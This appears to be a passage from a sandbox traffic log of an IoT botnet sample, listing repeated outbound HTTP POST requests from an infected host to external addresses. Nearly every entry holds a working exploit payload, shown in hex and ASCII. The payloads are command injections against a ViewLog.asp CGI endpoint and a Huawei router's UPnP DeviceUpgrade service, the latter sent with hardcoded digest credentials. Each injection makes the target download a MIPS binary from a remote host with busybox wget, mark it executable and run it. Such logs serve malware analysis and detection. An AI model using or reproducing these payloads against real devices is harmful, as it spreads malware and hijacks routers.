Nov 23, 2023 05:16:44.070424080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:20.934340954 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	40802	156.235.103.227	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:06.861313105 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:11.046618938 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:17.190638065 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:29.222507000 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:54.310545921 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:43.462268114 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	50566	94.120.249.197	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:07.072514057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	50696	156.230.23.53	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:08.181291103 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:09.798644066 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
